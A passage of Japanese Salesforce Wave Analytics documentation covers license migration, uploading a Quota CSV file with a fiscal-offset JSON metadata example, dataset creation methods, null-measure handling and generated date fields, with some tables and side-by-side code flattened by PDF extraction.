Cloud Explorer ライセンスから、新しい Analytics Cloud - Wave Analytics Platform ライセ
ンスに完全に移行するために、組織の Wave ユーザに新しい権限セットを設定す
る必要が生じる場合があります。
Salesforce が組織に新しい Analytics Cloud - Wave Analytics Platform ライセンスをプロビ
ジョニングすると、一部のユーザに新しいライセンスを設定する必要が生じる
ことがあります。
• Builder ライセンスユーザ。Analytics Cloud Builder 権限セットライセンスで Wave

にアクセスするユーザは、通常、追加の設定なしで引き続き Wave Analytics プ
ラットフォームを使用できます。Builder ライセンスの名前が Analytics Cloud -

Wave Analytics Platform に変更されただけなので、Salesforce の [設定] にその権限
セットライセンスが表示されます。

• Explorer ライセンスユーザ。新しいライセンスのプロビジョニングプロセス
で、Salesforce が Analytics Cloud Explorer ライセンスを組織から削除する場合があります。その場合は、Explorer

ライセンスの代わりに新しい Analytics Cloud - Wave Platform ライセンスが表示され、ユーザにそのライセンス
を設定する必要があります。Explorer 権限セットライセンスがまだ表示される場合は、Explorer ユーザに設定
プロセスを繰り返す必要はありません。

組織のユーザから新しい Analytics Cloud - Wave Platform ライセンスの設定を要求された場合は、それらのユーザが
以前のライセンスで Wave を使用していても、「Wave プラットフォームの設定」 (ページ4381)の手順に従ってく
ださい。それらのユーザに新しい権限セットライセンスを割り当て、1 つ以上の新しい権限セットを作成し、
その権限セットをユーザに割り当てる必要があります。

Sales Wave の Quota (Target) データセットの更新
ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

ビジネスでユーザレベルの目標を追跡するかどうか、という設定ウィザードの
質問に対する回答が「はい」であれば、アプリケーションにチームの目標デー
タが含まれるようにSales Waveの Quota データセットを更新する必要があります。
Sales Wave アプリケーションを作成すると、Quota (Target) データセットが一緒に作
成されます。Sales Wave でチームメンバーの月次、四半期、または年間の目標に
対する追跡状況を調べるには、次の手順を実行して Quota データセットを更新す
る必要があります。また、ここに記載されている手順が説明されている動画
「Create the Sales Wave App, Part 2: Upload the Quota CSV File and Schedule a Dataflow」(Sales

Wave アプリケーションの作成、第 2 部: 目標の CSV ファイルのアップロードとデー
タフローのスケジュール) を閲覧することもできます。

メモ:  .CSV ファイルを Sales Wave にインポートして使用する場合は、必ず UTF-8 に準拠しているテキストエ
ディタを使用してファイルを作成したり開いたりしてください。これらのファイルを Microsoft Excel などの
スプレッドシートソフトウェアで開くと、.CSV ファイルに書式が再設定され、Sales Wave で使用できなく
なります。
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メモ: ビジネスでユーザレベルの目標を追跡しない場合は、このステップを省略できます。これは、ビジ
ネスでユーザレベルの目標を追跡するかどうか、という設定ウィザードの質問に対する回答が「はい」
であれば、実行する必要があります。

1. 目標金額、開始日 (yyyy-mm-dd 形式)、所有者氏名、ユーザ名の各項目をこの順番で含む .CSV ファイルを作
成します。項目名では大文字と小文字が区別され、ここに表示されるとおりにファイルに表示される必要
があります。「Sales Wave の .CSV ファイルの例」の例を参照してください。

2. 覚えやすい場所にファイルを保存します。
3. Salesforce で、Wave Analytics ホームページに移動し、Quota (Target) データセットを見つけます。
4. データセットにマウスポインタを置き、[編集] をクリックします。
5. Salesforce に Quota データセットのデータセット編集画面が表示されます。[データを更新] セクションから、

[ファイルを選択するか、ここにファイルをドラッグしてくださ

い...]

を選択します。
6. 開いたダイアログボックスで、ステップ 1 で作成した .CSV ファイルに移動し、ファイルをダブルクリック

します。
7. [データセットを更新] をクリックします。
8. 会計期間がカレンダー期間と異なる場合 (開始日が 1 月 1 日以外の場合)、Quota メタデータファイルも更新

する必要があります。
a. Sales Wave の Quota データセットの JSON ファイルから JSON をコピーして、任意のテキストエディタに貼

り付けます。
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b. "fiscalMonthOffset" の値を 4 から、各自の会計期間の開始月を表す数値に変更します。Sales Wave

メタデータでは、数値の「0」は 1 月、「1」は 2 月を表します (12 月を表す「11」まで以下同様)。
c. ファイルをデスクトップに保存し、データセット編集画面の [メタデータファイル (JSON) を追加] セク

ションの [ファイルを選択するか、ここにファイルをドラッグしてください...]にドラッグして Sales Wave

にアップロードします。
d. [データセットを更新] をクリックします。

9. 目標データをアップロードしたら、データフローを再実行してダッシュボードを更新します。
a. Sales Wave 画面の右上にあるギアメニューをクリックし、[データ監視] を選択します。

b. [データ監視] 画面の左上にあるメニューから [データフロービュー] を選択します。
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c. アプリケーションを見つけます。ページをスクロールダウンすることが必要になる場合もあります。ア
プリケーションのアイコンと名前の横にある画面右端のメニューを開き、[開始] をクリックします。

完成です。このデータフローにより、Sales Wave に自社の最新のセールスデータが表示されるようにな
ります。データフローの詳細は、「Sales Wave アプリケーションの日次データフローのスケジュール」
を参照してください。

Sales Wave の .CSV ファイルの例
以下は、Sales Wave アプリケーションの Quota (Target) データセットを更新するために作成された .CSV ファイ
ルの例です。
Sales Wave の Quota データセットの JSON ファイル
会計年度の開始日が 1 月 1 日でない場合、このファイルを使用して、各自の会計年度の開始日で Sales Wave

の Quota データセットを更新します。

Sales Wave の .CSV ファイルの例
以下は、Sales Wave アプリケーションの Quota (Target) データセットを更新するために作成された .CSV ファイルの
例です。

メモ: このファイルは、例示のみを目的としています。チームメンバーの目標データを使用して、次の項
目を含む独自の .CSV ファイルを作成してください。
• 目標金額
• 開始日
• 所有者氏名
• ユーザ名
ファイルの作成にはUTF-8 に準拠しているテキストエディタを使用し、Microsoft Excel などのスプレッドシー
トアプリケーションでファイルを開かないでください。項目名では大文字と小文字が区別され、ここに
表示されるとおりにファイルに表示される必要があります。
「Sales Wave の Quota (Target) データセットの更新」 (ページ 4399)を参照してください。
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例:

QuotaAmount,StartDate,OwnerName,Username
5000000,2014-01-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-02-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-03-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-04-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-05-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-06-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-07-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-08-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-09-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-10-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-11-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-12-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-01-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-02-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-03-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-04-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-05-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-06-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-07-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-08-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-09-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-10-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-11-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-12-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com

Sales Wave の Quota データセットの JSON ファイル
会計年度の開始日が 1 月 1 日でない場合、このファイルを使用して、各自の会計年度の開始日で Sales Wave の
Quota データセットを更新します。
このファイルのコンテンツを任意のエディタにコピーし、“fiscalMonthOffset”の値 (太字で表示) を各自の
会計期間の開始月に変更します。Sales Wave メタデータでは、数値の「0」は 1 月、「1」は 2 月を表します (12

月を表す「11」まで以下同様)。下のコードでは、5 月を表す「4」に数値が設定されています。各自の会計期
間の開始月を表す数値を使用します。次に、「Sales Wave の Quota (Target) データセットの更新」の手順に従っ
て、ファイルを保存して Sales Wave にアップロードします。
{

"objects": [
{

"connector": "CSV",
"fullyQualifiedName": "Quota_csv",
"label": "Quota.csv",
"name": "Quota_csv",
"fields": [

{
"fullyQualifiedName": "QuotaAmount",
"name": "QuotaAmount",
"type": "Numeric",
"label": "QuotaAmount",
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"precision": 18,
"defaultValue": "0",
"scale": 0

},
{

"fullyQualifiedName": "StartDate",
"name": "StartDate",
"type": "Date",
"label": "StartDate",
"format": "yyyy-MM-dd",

"fiscalMonthOffset": 4,
"isYearEndFiscalYear": true

},
{

"fullyQualifiedName": "OwnerName",
"name": "OwnerName",
"type": "Text",
"label": "OwnerName"

},
{

"fullyQualifiedName": "Username",
"name": "Username",
"type": "Text",
"label": "Username"

}
]

}
]

}

データインテグレーション
Salesforce データと外部データを Wave Analytics に統合することで、ユーザはエクスプローラとデザイナでその
データを探索および視覚化できます。外部データは、外部のアプリケーションやスプレッドシートのデータな
ど、Salesforce 以外に存在するデータです。
データをWave Analyticsに読み込むとき、データはデータセットに読み込まれます。データセットとは、非正規
化され、高度に圧縮された形式で保存された関連データのコレクションです。
Wave Analytics では次の方法でデータセットを作成できます。

Wave Connector外部データ APIアップロード
ユーザインター
フェース

データセットビ
ルダー

データフロー
JSON

Microsoft Excel外部データ外部データSalesforce オブ
ジェクト

Salesforce オブ
ジェクト、既存
のデータセット

データソース
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Wave Connector外部データ APIアップロード
ユーザインター
フェース

データセットビ
ルダー

データフロー
JSON

不可不可不可不可可外部データと
Salesforce データ
の結合

可不可 (プログラム
によるアクセス)

可可不可 (JSON)グラフィカル
ユーザインター
フェース

不可不可不可不可可複数データセッ
トの同時作成

不可可不可不可可増分抽出のサ
ポート

手動手動手動自動自動データ更新方法

不可不可不可不可可レコードの絞り
込み

不可不可不可不可可 (デルタ列およ
びディメンショ
ン列)

データセット作
成時の列の新規
生成

不可可可不可可メタデータの上
書き

データセット
データセットとは、非正規化され、高度に圧縮された形式で保存された関連データのコレクションです。
プラットフォームライセンスごとに、組織は登録済みの全データセットで合わせて最大 2 億 5,000 万行の
データを保存できます。
データフローを使用したデータセットの作成
データフローを使用し、Salesforce オブジェクトまたは既存のデータセットのデータに基づいて 1 つ以上の
データセットを作成できます。
Wave データフローの変換
変換とは、データを操作することです。変換をデータフローに追加して、Salesforce オブジェクトやデータ
セットからデータを抽出したり、Salesforce データや外部データが含まれるデータセットを変換したり、デー
タセットを登録したりすることができます。
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データセットビルダーを使用したデータセットの作成
データセットビルダーを使用して、1 つ以上の Salesforce オブジェクトのデータに基づく単一のデータセッ
トを作成できます。データセットビルダーによって、関連する JSON が生成され、データフロー定義ファイ
ルに追加されます。データフローが次回実行されるときに、データセットが作成されます。データセット
のデータは、データフローの実行時に毎回更新されます。データフロー定義ファイルを編集して、データ
セットを操作する変換を追加することもできます。
複製を使用したデータフローの最適化
複製により、データフローから Salesforce データの抽出を切り離し、別のスケジュールで抽出を実行できる
ようにします。これらの抽出を事前にスケジュールすることで、データフローの負荷が減り、高速に実行
できるようになります。負荷をさらに軽くするため、複製では Salesforce データの増分が抽出されます。こ
れにより、変更されたデータのみが抽出されます。
Excel データ用の Wave Connector

Salesforce Wave Connector を使用すると、容易に Microsoft Excel 2013 から Wave Analytics にデータをインポートで
きます。
外部データを使用したデータセットの作成
ユーザインターフェースから外部データファイルをアップロードするか、外部データ API を使用してデータ
セットを作成できます。外部データファイル (.csv、.gz、または .zip 形式) をアップロードするときに、メタ
データファイルも提供できます。メタデータファイルには、外部データファイルのデータ構造を記述する
メタデータ属性が含まれています。ユーザインターフェースから .csv をアップロードすると、Wave Analytics

が自動的にメタデータファイルを生成します。このファイルをプレビューして変更できます。メタデータ
ファイルを提供しない場合は、Wave Analytics がすべての外部データファイル列をディメンションとしてイ
ンポートします。
データセットの編集
データセットを編集して、データセット名、アプリケーション、セキュリティ述語、またはデータセット
に関連付けられた拡張メタデータ (XMD) ファイルを変更できます。外部データファイルから作成されたデー
タセットについては、新しい外部データファイルまたはメタデータファイルをアップロードして、データ
またはメタデータを更新することもできます。
データセットの削除
少なくともエディタアクセス権があれば、[私の非公開アプリケーション] または共有アプリケーションか
ら不要なデータセットを削除できます。データセットを削除することで使用していないデータを減らし、
組織の登録済みデータセット全体の行制限への到達を回避できます。
レシピを使用したデータセットの準備
データセットレシピは、既存のデータセットおよび複製からデータを取得して準備し、結果を新しいデー
タセットに出力できるユーザインターフェースツールです。レシピを使用して、複数のデータセットまた
は複製のデータを結合したり、データをバケット化したり、数式項目を追加したり、項目値を変換してデー
タを整理したりします。対象データセットを作成する前に項目の削除や不要な行の絞り込みを行います。
データセットの行レベルセキュリティ
データセットへのアクセス権を持つ Wave Analytics ユーザには、デフォルトでデータセット内のすべてのレ
コードへのアクセス権があります。ただし、データセットに行レベルセキュリティを実装してレコードへ
のアクセスを制限できます。レコードに機密データが含まれている場合など、アクセスの制限が必要にな
ることがあります。
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データセットの述語式の構文
述語式を定義するときには有効な構文を使用する必要があります。

データセット
データセットとは、非正規化され、高度に圧縮された形式で保存された関連データのコレクションです。プ
ラットフォームライセンスごとに、組織は登録済みの全データセットで合わせて最大 2 億 5,000 万行のデータ
を保存できます。
Wave Analytics では、次のいずれかのデータ型が各データセット項目に適用されます。
日付

日付は、日、月、年、必要に応じて時刻として表されます。日付に基づいたグループ化、絞り込み、およ
び算術処理ができます。

ディメンション
ディメンションは、地域、製品名、モデル番号など、定性的な値です。ディメンションは、データのグルー
プ化や絞り込みに便利です。基準と異なり、ディメンションで計算を行うことはできません。クエリのパ
フォーマンス向上のため、Wave Analytics ではデータセットのすべてのディメンション項目にインデックス
が付けられます。

基準
基準は、収益や換算レートなど、定量的な値です。総収益や最小換算レートの計算など、基準に対して算
術処理ができます。

作成するデータセットごとに、行レベルセキュリティを適用して、データセット内のレコードへのアクセスを
制限できます。

注意: データセットを作成する前に、ソースデータの各列に少なくとも 1 つの値が含まれていることを確
認します。すべてが null 値の列は、データセット内に作成されず、データフロー、レンズ、ダッシュボー
ドで参照できません。null 値の場合、「n/a」や「空」のようなデフォルト値を入力することを検討してく
ださい。

データセットの数値処理
Wave Analytics では、内部的に数値を Long 型の値としてデータセットに保存します。たとえば、スケールが
2 の数値「3,200.99」は、「320099」として保存されます。ユーザインターフェースが保存された値を変換し
て 10 進数表記に戻し、数値を「3200.99」として表示します。
データセットの null 基準の処理
たとえばデータフローまたは CSV アップロードを使用してデータセットを作成または更新する場合、デー
タ内の空白の基準値を具体的な値で置き換える必要があります。Wave では、データフローまたは CSV メタ
データファイルに指定されたデフォルト値を使用して、空白値を置き換えます。null 基準の処理を有効にす
ると、特別な「null」値を使用してこれらのデフォルトを指定できます。デフォルト値を指定しない場合、
Wave は空白を null 値で置き換えます。
null 基準の処理の有効化
null 基準の処理では、データフローおよび CSV アップロードで「null」のデフォルト値を指定できます。デ
フォルト値を指定しない場合、Wave はデータセットの空白を null 値で置き換えます。
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データセットの日付処理
Wave Analyticsで日付をデータセットに読み込むとき、各日付はカレンダー年に基づいて複数の項目 (日、週、
月、四半期、年など) に分割されます。たとえば、CreateDate 項目から日付を抽出すると、Wave Analytics

は CreateDate_Day や CreateDate_Week などの日付項目を生成します。会計年度がカレンダー年と異
なる場合は、Wave Analytics が会計日付項目も生成できるように設定できます。
データフロー JSON

データフローを使用し、Salesforce オブジェクトまたは既存のデータセットのデータに基づいて 1 つ以上の
データセットを作成できます。データフローとは、Salesforce オブジェクトまたはデータセットから抽出す
るデータ、データセットを変換する方法、およびクエリで使用可能にするデータセットを指定する一連の
指示です。データフローでは、抽出したデータを操作し、そのデータをデータセットに読み込む前にメタ
データを上書きできます。データフローは、日次スケジュールに従って実行され、継続的にデータが更新
されます。
データセットビルダー
データセットビルダーを使用すると、1 つ以上の関連 Salesforce オブジェクトからのデータに基づいて 1 つの
データセットを作成できます。データセットビルダーでは、ポイント & クリックで容易に関連 Salesforce オ
ブジェクトを識別および選択できます。
Excel データ用の Wave Connector

Salesforce Wave Connector を使用すると、容易に Microsoft Excel 2013 から Wave Analytics にデータをインポートで
きます。
ユーザインターフェースからの外部データのアップロード
アップロードユーザインターフェースを使用して、外部データに基づいて 1 つのデータセットを作成でき
ます。.csv、.gz、または .zip 形式の外部データファイルをアップロードできます。データを更新するには、
新しい外部データファイルをアップロードしてデータセット内のデータを上書きします。
外部データ API

外部データ APIを使用して、.csv 形式の外部データに基づいて 1 つのデータセットを作成できます。API を使
用して .csv ファイルをアップロードし、データセットを編集することもできます。データセットを編集す
る場合、すべてのレコードの上書き、レコードの追加、レコードの更新、またはレコードの削除を選択で
きます。

データセットの数値処理
Wave Analyticsでは、内部的に数値を Long 型の値としてデータセットに保存します。たとえば、スケールが 2 の
数値「3,200.99」は、「320099」として保存されます。ユーザインターフェースが保存された値を変換して 10 進
数表記に戻し、数値を「3200.99」として表示します。
データセットに保存可能な最大数値は 36,028,797,018,963,967、最小数値は -36,028,797,018,963,968 です。

警告: 数値がこの範囲外の場合、予期しない結果が生じる可能性があります。たとえば、スケールが 16

の値 3.7E-16 をデータセットに読み込もうとすると、Wave Analyticsは値を 37000000000000000 として保存しよ
うとします。ただし、この値は最大値を超えているため、Wave Analyticsはレコード全体の読み込みに失敗
します。さらに、基準を集計するクエリ (sum や group by など) を実行し、結果の値が最大値を超えた場合、
値はオーバーフローして Wave Analytics は不正確な結果を返します。
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データセットの null 基準の処理
たとえばデータフローまたは CSV アップロードを使用してデータセットを作成または更新する場合、データ内
の空白の基準値を具体的な値で置き換える必要があります。Wave では、データフローまたは CSV メタデータ
ファイルに指定されたデフォルト値を使用して、空白値を置き換えます。null 基準の処理を有効にすると、特
別な「null」値を使用してこれらのデフォルトを指定できます。デフォルト値を指定しない場合、Wave は空白
を null 値で置き換えます。

メモ:  null 基準の処理は、Spring '17 リリース以降に作成した組織で有効になります。これを無効にするこ
とはできません。他の組織でこの機能を有効にする方法は、「null 基準の処理の有効化」を参照してくだ
さい。

null 基準の処理は、特定の計算の結果に影響するため重要です。null 基準の処理が有効になっていないと、Wave

はデータの空白をゼロに置き換えます。データフローのデフォルト値として null を指定することはできませ
ん。次の顧客満足度のスコアの例を考えてみましょう。この中には回答なしの顧客も含まれます。

空白の代わりの null を含むデータ
セット

空白の代わりのゼロを含むデータ
セット

ソースデータ

ソースデータでは平均や最小などの計算済みの値が正確ですが、空白値をゼロで置き換えると、これらの計算
結果が誤った数値になります。これは、計算にゼロが含まれているためです。null 基準を使用して計算を行う
と、平均および最小の計算が正確に行われます。
null 基準の処理では、次のデータフロー変換で null 値を使用できます。

Wave はデータセットに異なる基準項目を付加できます。たとえば、あるデータセットに [金
額] 項目があり、2 番目のデータセットにはその項目が存在しない場合、付加後に作成され

append

た新しいデータセットでは、2 番目のデータセットから作成された行の [金額] 項目に null が
含まれます。基準項目が異なる場合、null 基準を処理せずにデータセットを付加することは
できません。

左のデータセットのキーが null であるか右のデータセットと一致しない場合、Wave は右の
データセットから列を付加し、ディメンションと基準に null を挿入します。null 基準の処理
がない場合、Wave は基準にゼロを挿入します。

augment
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計算項目の defaultValue 属性は null の値を受け入れます。次に例を示します。
"SAQLNode": {

"action": "computeExpression",

computeExpression

"parameters": {
"source": "extractOpp",
"mergeWithSource": true,
"computedFields": [
{
"name": "Amount2",
"type": "Numeric",
"precision": 18,
"defaultValue": "null",
"scale": 5,
"saqlExpression": "Amount+Amount"

}

計算項目の defaultValue 属性は null の値を受け入れます。previous() または next()

に値がないなど、値を計算できない場合、このデフォルトが使用されます。次に例を示し
ます。
"computeTrending": {

"action": "computeRelative",

computeRelative

"parameters": {
"partitionBy": ["OpportunityId"],
"orderBy": [

{
"name":"CreatedDate",
"direction":"asc"

}
],
"computedFields": [

{
"name": "AmountPrev",
"defaultValue" : "null",
"expression": {

"sourceField": "Amount",
"offset": "previous()",
"default": "null"

}
}

measureDefault パラメータは null の値を受け入れます。Wave はディメンションを有効な
数値に変換できない場合にこの値を使用します。デフォルトを指定しない場合、Wave は null

の値を使用します。次に例を示します。
"Create_Measure_From_Dimension": {

"action": "dim2mea",

dim2mea

"parameters": {
"dimension": "StageVal__c",
"measure": "StageValue",
"measureDefault": "null",
"source": "Extract_Opportunities"
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}
}

項目の defaultValue属性は null の値を受け入れます。デフォルトを指定しない場合、Wave

は null の値を使用します。次に例を示します。
Sample Sfdc-digest :{

"Extract_Opportunities": {

sfdcDigest

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{
"name": "Amount",
"defaultValue": "null",
"precision":18
"scale":2

}

Wave は null 以外の値を null で更新できます。Update

メモ:  null 基準の処理を有効にしている場合は delta 変換がサポートされず、delta 変換を含むデータフ
ローは失敗します。代わりにデータフローで computeRelative変換を使用します。この例の delta変
換では、商談金額とその以前の金額の差が計算されます。差の計算に使用できる以前の金額は、
computeRelative を使用してを取得できます。

computeRelative 変換delta 変換

"computeTrending": {
"action": "computeRelative",

"Calculate_Delta": {
"action": "delta",

"parameters": {"parameters": {
"partitionBy":"dimension": "OpportunityId",

["OpportunityId"],"epoch": "CloseDate_day_epoch",
"orderBy": ["inputMeasure": "Amount",

{"outputMeasure": "DeltaAmount",
"name":"CreatedDate","source": "Extract_Opportunities"

"direction":"asc"}
}, }

],
"computedFields": [

{
"name": "AmountPrev",

"expression": {
"sourceField":

"Amount",
"offset":
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computeRelative 変換delta 変換

"previous()",
"default": "null"

}
},

"source": "extractOppHistory"

}
},

null 基準の処理の有効化

ユーザ権限

• 「アプリケーションの
カスタマイズ」

null 基準の処理では、データフローおよび CSV アップロードで「null」のデフォル
ト値を指定できます。デフォルト値を指定しない場合、Wave はデータセットの
空白を null 値で置き換えます。

メモ:  null 基準の処理は、Spring '17 リリース以降に作成した組織で有効にな
ります。これを無効にすることはできません。

他の組織でこの機能を有効にするには、組織の評価と必要な追加手順の判断を行うためにまず Salesforce カスタ
マーサポートに連絡してください。
null 基準の処理を有効にしても、空白値から置き換えられたゼロを遡って null に変更できないため、追加の手
順が必要になることがあります。この動作によって作成されたデータセットには、ソースデータから明示的に
取得されたゼロ、空白値を置き換えたゼロ、および null 値が入り混じっている可能性があります。このような
データセットの集計計算は正確ではありません。
null 基準の処理を利用できるようになった組織は、[設定] から有効にできます。[クイック検索] ボックスに
「Wave Analytics」 と入力して、[設定]をクリックします。[Wave Analytics での null 基準の処理を有効化]を
選択して、[保存] をクリックします。
null 基準の処理を有効にした後に次の 1 つの以上の手順を実行することをカスタマーサポートから推奨される
場合があります。
1. 次の変換の基準項目の defaultValue 属性で、0 の代わりに null を使用するように既存のデータフロー定

義ファイルを更新します。

defaultValue: “null”computeExpression

defaultValue: “null”computeRelative

measureDefault: “null”dim2mea

defaultValue: “null”sfdcDigest
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2. 基準項目の defaultValue の null を使用して、長期間使用されているデータセットの新しいインスタンス
を作成し、それをデータフローのソースとして使用します。
通常、長期間使用されているデータセットは参照データセットであり、データフローによって更新されず、
他のデータセットのデータを増強するために使用されます。たとえば、geolocation データセットを使用し
て、郵便番号に基づいてリード情報を増強できます。

3. 段階的に構築したデータセットのソースデータが利用できなくなった場合、カスタムデータフローを使用
して、0 値を null に手動で変換します。
段階的に構築したデータセットとは、ログのように、行を付加しながら時間をかけて作成されたデータセッ
トです。

4. データフローで computeRelative 変換を使用して、データフローに delta 変換を再実装します。この
例の delta変換では、商談金額とその以前の金額の差が計算されます。差の計算に使用できる以前の金額
は、computeRelative を使用してを取得できます。
null 基準の処理を有効にしている場合は delta 変換がサポートされず、delta 変換を含むデータフローは失
敗します。
この例の delta変換では、商談金額とその以前の金額の差が計算されます。差の計算に使用できる以前の
金額は、computeRelative を使用してを取得できます。

computeRelative 変換delta 変換

"computeTrending": {
"action": "computeRelative",

"Calculate_Delta": {
"action": "delta",

"parameters": {"parameters": {
"partitionBy":"dimension": "OpportunityId",

["OpportunityId"],"epoch": "CloseDate_day_epoch",
"orderBy": ["inputMeasure": "Amount",

{"outputMeasure": "DeltaAmount",
"name":"CreatedDate","source": "Extract_Opportunities"

"direction":"asc"}
}, }

],
"computedFields": [

{
"name": "AmountPrev",
"expression": {

"sourceField":
"Amount",

"offset":
"previous()",

"default": "null"

}
},

"source": "extractOppHistory"

}
},
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データセットの日付処理
Wave Analytics で日付をデータセットに読み込むとき、各日付はカレンダー年に基づいて複数の項目 (日、週、
月、四半期、年など) に分割されます。たとえば、CreateDate 項目から日付を抽出すると、Wave Analytics は
CreateDate_Day や CreateDate_Week などの日付項目を生成します。会計年度がカレンダー年と異なる場
合は、Wave Analytics が会計日付項目も生成できるように設定できます。
Wave Analytics では次の日付項目が生成されます。

説明データ型項目名

秒数。日付に秒がない場合、値は
「0」になります。

テキスト<日付項目名>_Second

分数。日付に分がない場合、値は
「0」になります。

テキスト<日付項目名>_Minute

時間数。日付に時間がない場合、
値は「0」になります。

テキスト<日付項目名>_Hour

日にち。テキスト<日付項目名>_Day

カレンダー年の週番号。テキスト<日付項目名>_Week

カレンダー年の月番号。テキスト<日付項目名>_Month

カレンダー年の四半期番号。テキスト<日付項目名>_Quarter

カレンダー年。テキスト<日付項目名>_Year

会計年度の週番号。テキスト<日付項目名>_Week_Fiscal

会計年度の月番号。テキスト<日付項目名>_Month_Fiscal

会計年度の四半期番号。テキスト<日付項目名>_Quarter_Fiscal

会計年度。テキスト<日付項目名>_Year_Fiscal

1970 年 1 月 1 日 (深夜 UTC) からの経
過秒数。

数値<日付項目名>_sec_epoch

1970 年 1 月 1 日 (深夜 UTC) からの経
過日数。

数値<日付項目名>_day_epoch

メタデータ属性を設定して、日付がデータセットに読み込まれる方法を制御し、Wave Analyticsで会計日付項目
を生成できるようにすることができます。メタデータ属性は、Salesforce データのsfdcDigest 変換パラメータまた
は外部データのメタデータファイルに設定します。

重要: 外部データファイルから日付を読み込む前に、こちらで日付形式要件を確認してください。また、
外部データファイルの列名が生成される日付項目名と競合しないようにしてください。たとえば、列
Create_Date を含む CSV を読み込むと、Wave Analytics でデータセット内に Create_Date_Year 項目が
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生成されます。CSV に Create_Date_Year という名前の項目もある場合、名前が競合するため、Wave

Analytics でエラーが発生します。

Wave Analytics の会計期間
カレンダー年と会計年度が異なる場合、Wave Analyticsがデータセットにカレンダー日付項目だけでなく会計日
付項目も生成できるようにすることができます。Wave Analyticsが会計日付項目を生成できるようにするには、
fiscalMonthOffset 属性を「0」以外の値に設定します。会計日付項目を生成する日付列ごとに、この属性
を設定します。オフセットを「0」に設定するか、値を指定しないと、Wave Analytics は会計日付項目を生成し
ません。
さらに、会計期間を設定するには、各日付列に次のメタデータ属性を設定します。
fiscalMonthOffset

会計日付項目の生成の有効化に加え、この属性によって会計年度の開始月も決まります。
fiscalMonthOffsetに、会計年度の開始月とカレンダー年の開始月 (1 月) の差を指定します。たとえば、
会計年度が 4 月に開始する場合、fiscalMonthOffset を「3」に設定します。

isYearEndFiscalYear

会計年度は、あるカレンダー年で開始し、別のカレンダー年で終了する可能性があるため、会計年度に使
用する年を指定する必要があります。isYearEndFiscalYear 属性は、会計年度が、会計年度の終了年と
開始年のどちらであるかを示します。
このしくみを確認するために、いくつか例を見てみましょう。isYearEndFiscalYear  = true の場合 (また
はこの属性を指定しない場合)、会計年度は、会計年度の終了年です。次の図に示すように、会計年度は
2016 年に終了するため、2015 年 4 月 1 日～ 2016 年 3 月 31 日の日付はすべて会計年度 2016 年に含まれます。

isYearEndFiscalYear  = false の場合、会計年度は、会計年度の開始年です。次の図に示すように、会計
年度は 2015 年に開始するため、2015 年 4 月 1 日～ 2016 年 3 月 31 日の日付はすべて会計年度 2015 年に含まれ
ます。

Wave Analytics の週番号
データセットに読み込まれる日付ごとに、Wave Analytics は、カレンダー年と会計年度 (該当する場合) の対応す
る週番号を生成します。SOQL 関数の WEEK_IN_YEAR と同様に、Wave Analytics の週 1 は 1 月 1 日～ 1 月 7 日です
(これは UTC の week() 計算とは異なります)。
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必要に応じて、firstDayOfWeek 属性を設定し、週の開始を特定の曜日に設定できます。たとえば、1 月 1 日
が土曜日で、週の開始を月曜日に設定した場合、週 1 は 1 月 1 日～ 2 日になります。週 2 は、月曜日の 1 月 3 日
に開始します。週 3 は、次の月曜日の 1 月 10 日に開始します。後続の週を指定された曜日で開始するため、週
1 は短くなる可能性があります。

データフロー JSON

データフローを使用し、Salesforce オブジェクトまたは既存のデータセットのデータに基づいて 1 つ以上のデー
タセットを作成できます。データフローとは、Salesforce オブジェクトまたはデータセットから抽出するデー
タ、データセットを変換する方法、およびクエリで使用可能にするデータセットを指定する一連の指示です。
データフローでは、抽出したデータを操作し、そのデータをデータセットに読み込む前にメタデータを上書き
できます。データフローは、日次スケジュールに従って実行され、継続的にデータが更新されます。
Wave Analyticsには、変換ロジックのサンプルが含まれているデフォルトのデータフローが用意されています。
このデータフローは、ただのサンプルであるため、実行する前に設定する必要があります。

データフローを設定するには、変換をデータフロー定義ファイルに追加します。データフロー定義ファイル
は、データフローロジックを表す変換が含まれる JSON ファイルです。変換を追加して、抽出するデータ、デー
タセットの変換方法、およびクエリで使用可能にするために登録するデータセットを決定することができま
す。
データフローを設定したら、新しいデータフロー定義ファイルを Wave Analytics にアップロードします。
デフォルトでは、データフローは自動的には実行されません。スケジュールに基づいてデータフローの実行を
開始するには、最初にデータフローを手動で開始する必要があります。最初のジョブの実行後、データフロー
ジョブは日次スケジュールに従って実行されます。データフローは、日次スケジュールで実行されて、Salesforce

データへの最新の変更とデータフローロジックの変更を収集します。
データフロージョブを停止、再スケジュール、および監視することもできます。

関連トピック:

データフローを使用したデータセットの作成

データセットビルダー
データセットビルダーを使用すると、1 つ以上の関連 Salesforce オブジェクトからのデータに基づいて 1 つのデー
